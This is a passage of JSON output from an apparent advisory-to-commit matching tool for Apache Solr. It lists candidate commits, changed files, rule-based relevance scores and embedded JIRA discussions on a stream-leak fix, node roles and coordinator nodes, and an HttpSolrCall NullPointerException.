InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16949", + "relevance": 2 + } + ] + }, + { + "commit_id": "68fa493b8f959788216eb48f6bcef825fe8e24e6", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698090306, + "hunks": 79, + "message": "Revert \"SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79.", + "changed_files": [ + "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", + "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", + "solr/core/src/java/org/apache/solr/core/CoreContainer.java", + "solr/core/src/java/org/apache/solr/core/NodeRoles.java", + "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", + "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", + "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", + "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", + "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", + "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", + "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", + "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", + "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", + "solr/core/src/java/org/apache/solr/update/UpdateLog.java", + "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", + "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", + "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", + "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", + "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome.", + "SOLR-15715": "We have a large collection with 1000s of shards in the solr cluster. We have observed that distributed solr query takes many resources(thread, memory, etc.) on the solr data node(node which contains indexes). Thus we need dedicated query nodes to execute distributed queries on large solr collection. That would reduce the memory/cpu pressure from solr data nodes. Elastis search has similar functionality here noble.paul ichattopadhyaya Dedicated query coordinator nodes in the solr cluster Related to SOLR-15694 I'd like to point out here that this feature is a donation from FullStory, where hiteshkhamesra implemented this solution that has already brought immense benefits on large Solr clusters. As part of this JIRA, we plan to upstream that functionality so that broader Solr community can benefit. While we've seen substantial reduction of memory usage on data hosting nodes in production for FullStory's internal workloads, I shall publish benchmarks for this feature on publicly available datasets soon. I just wrapped up an initial round of testing on regular setup (6 data nodes) POC setup (1 dedicated overseer + 1 coordinator + 6 data nodes). Setup details Regular setup: 6 nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: first data node ( port 50000 ) POC setup: 8 nodes: 1 dedicated overseer, 1 coordinator node, 6 data nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: coordinator node ( port 50001 ) Performance results Here are the results, Regular setup results: POC results: Conclusion Due to a separate coordinator node, memory usage on data nodes very low. Isolated coordinator node feature for query aggregation working as designed. A well known issue with this model is that the aggregation nodes can a. become bottlenecks to the overall throughput and b. cause outages if they are not scaled correctly. In an aggregation heavy system, these nodes will become the target of maximum load, thus potentially causing a skew in the cluster where the data nodes are relatively lower loaded vs the aggregation nodes bearing most of the load. To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. Compared to status quo, in a state of high load, the chances of the cluster running into a cascading failure mode are higher for this solution. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. What do you mean by a \"separate scalability model\"? These query aggregation nodes are stateless and can be scaled up and down independently of the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. { } That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. That can eventually mean a larger cluster overall, since you aren't really removing any data nodes? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. While I am glad to hear that, I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? It is possible to use Kubernetes or AWS autoscaling based on QPS or other load metrics to provision more of these query aggregation nodes. If this feature leverages the Node Roles feature (SIP-15), then the implication of having many query aggregation nodes would be that there will be many ephemeral nodes added to the /node-roles subtree (nested under coordinator role). {{You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. }} An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. The benchmark I posted above is one such simulated benchmark which is reproducible (I'll share the steps to reproduce it once we have a PR opened). There might be many more reproducible benchmarks to come for this feature, each highlighting different aspects of this solution. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. Having said that, I don't expect that anyone except a tiny minority of users would find this feature helpful. And, as you mentioned, even for those who find this useful, it might be necessary to weigh the tradeoffs that are involved (having additional nodes on top of the data nodes vs. whatever benefits can be had). This is going to be an opt-in feature. In this JIRA, I don't think we can address all such real world scenarios in order to be able to provide definitive guidance whether this will be useful for a particular scenario or not. An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. That is true when the majority of workload is non aggregation. On the other hand, if the majority of the workload is aggregation heavy, we are essentially creating a skew in the cluster, keeping majority of nodes free and focusing the heavy lifting to a few nodes \u2013 which will lead to either a set of cascading failures or additional nodes, thus pushing up the cost and increasing cluster management complexity. I am interested in seeing that kind of a benchmark to see how this solution behaves in that situation. Copying a comment I made on the PR because I think it is a slightly larger discussion and might need more eyes on it. Design point: I'm not a fan of putting the coreNameMapping into the CoreContainer's objectCache. It feels kludgey and like we're using that as a grab bag for everything. It's not discoverable and probably not maintainable. I'd like to see this rearchitected in some ways for CoreContainer to allow roles to register themselves with it, and then there's a specific entry per role. And hopefully that's a domain object that can be extendable in the future. So instead of ObjectCache we have a map called RoleData that is maybe Map and each role knows what that entry is. It feels kludgey and like we're using that as a grab bag for everything. I agree that it is a bit \"kludgey\". However I do not believe all roles need to register some data with CoreContainer. I shall try to make it cleaner Here are final benchmark numbers. Setup Branch: https://github.com/apache/solr/pull/996 No. of Solr nodes: 6 (1 dedicated overseer, 1 coordinator node, 4 regular data nodes) No. of collections: 1 No. of shards: 256 No. of documents: 25 million No. of queries: 2000 (faceting queries, a few join queries) Hardware: One machine with 64GB RAM, at least 16 CPUs. Suite: https://github.com/fullstorydev/solr-bench/blob/master/coordinator-node.json Comparison: Scenario 1) All queries sent to the dedicated overseer node, and hence forwarded to data nodes and executed there. Scenario 2) All queries sent to coordinator node, hence executed on that node. Results Here are the heap usage graphs. The left graphs are for scenario 1 (queries executed on data nodes) and right graphs are scenario 2 (queries executed on coordinator node). It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Reproducing these benchmarks On a laptop, desktop or VM, with at least 64GB RAM and 16 CPUs, do the following: 1. git clone https://github.com/fullstorydev/solr-bench 2. apt install wget unzip zip ant ivy lsof git netcat make openjdk-11-jdk maven jq 3. mvn clean compile assembly:single 4. ./stress.sh coordinator-node.json To run scenario 1, keep the `query-node` to 1 in `querying` section of `task-types` (coordinator-node.json). To run scenario 2, change it to 2. Here 1 and 2 represent the node index (check the `startup-params-overrides` in `cluster` section). To plot the graphs, run `python2.6 -m SimpleHTTPServer 9000` (after a run) and open http://localhost:9000/plot-stress.html on the browser to view the graphs. Narrow down to \"Task 3\" for graphs only during the query phase. I plan to merge the PR #996 soon. It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Can you pretend that I'm a junior engineer and explain this conclusion to me? Can you pretend that I'm a junior engineer and explain this conclusion to me? It seems that during the query phase, a data node (lets say the red line) goes through 9 cycles of GC in scenario 1, whereas during scenario 2 same line goes via 6 cycles. Hence, I arrived at the conclusion that there's less GC cycles, thus indicating lower heap usage, when using coordinator nodes for querying. Does it make sense, Mike? Commit d029eb14aa8fbb592938f67bd1397bd8fe805168 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d029eb14aa8 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Commit 05f72879b33f389d89baaf7559ea03eb9aef2e89 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=05f72879b33 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Thanks to everyone for reviews and contribution. Bulk closing 9.1 issues. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Obviously very late to the party, and likely have missed something, but looking at this and some of the code, I'm given to wonder why this wasn't achieved via client request preferences (which was implemented), node labeling, and replica placement (to ensure certain labeled nodes never get data). Nodes without data that receive all the client requests is job done, right? In the current code it seems that only tests will ever call \"setPreferredNodes()\" which makes me think that this feature only works if the end-user client is manually tracking what nodes are coordinators? I guess my biggest Q is why do we need subclasses of HttpSolrCall? This seems achievable with node labels, a node role that adds a label, client smarts, and replica placement. I see a bunch of references to \"synthetic collection\" in the code, but it's not clear what this is or why its needed. From the javadoc: /**\r\n * A coordinator node can serve requests as if it hosts all collections in the cluster. it does so\r\n * by hosting a synthetic replica for each configset used in the cluster. Why do we want to do that? Existing code already knew how to find shards, delegate sub requests and coordinate a response, why do we need to fake the location of the collections with a synthetic replica? Gus, without this feature, how does one get a core/replica onto a coordinator node that has no data? Normally a core is part of a shard and that shard has data like all the others. This only partially addresses your questions; I don't have all the answers. I think I would have rather seen a special shard; maybe having no range and/or having a special state. But I think an aspect of the solution here is to have an approach that scales to many collections, thus don't want many empty cores. So instead I could imagine a collection that is able to query any other collection. I noticed an interesting new issue & PR on this feature recently SOLR-17118 ." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: This", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715", + "relevance": 2 + } + ] + }, + { + "commit_id": "f33d102f254909492b6f5d5a2142dfea791a5a4a", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698073289, + "hunks": 3, + "message": "SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020)", + "changed_files": [ + "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-17034": "Hitting /solr// causes the following stack trace: \"error\" :{ \"trace\" : \"java.lang.NullPointerException\\n\\tat org.apache.solr.servlet.HttpSolrCall.getCoreUrl(HttpSolrCall.java:1047)\\n\\tat org.apache.solr.servlet.HttpSolrCall.getRemoteCoreUrl(HttpSolrCall.java:1021)\\n\\tat org.apache.solr.servlet.HttpSolrCall.extractRemotePath(HttpSolrCall.java:428)\\n\\tat org.apache.solr.servlet.HttpSolrCall.init(HttpSolrCall.java:293)\\n\\tat org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:522)\\n\\tat org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:427)\\n\\tat org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:357)\\n\\tat org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:201)\\n\\tat org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1601)\\n\\tat org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:548)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)\\n\\tat org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)\\n\\tat org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)\\n\\tat org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1434)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)\\n\\tat org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:501)\\n\\tat org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)\\n\\tat org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1349)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)\\n\\tat org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:191)\\n\\tat org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:322)\\n\\tat org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:763)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.server.Server.handle(Server.java:516)\\n\\tat org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:400)\\n\\tat org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:645)\\n\\tat org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:392)\\n\\tat org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)\\n\\tat org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)\\n\\tat org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)\\n\\tat org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131)\\n\\tat org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409)\\n\\tat org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)\\n\\tat org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)\\n\\tat java.base/java.lang. Thread .run(Unknown Source)\\n\" , \"code\" :500}} There is probably some higher up the chain bug that tries to get the core name and its empty. However we can fix the NPE relatively simply. Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud Commit 68ecfaf84a830aa663b2110f73d9c04e3549acb6 in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=68ecfaf84a8 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Commit ff2efffd7982e64cc97e8c21bc329e0088da7721 in solr's branch refs/heads/branch_9x from Kevin Risden [ 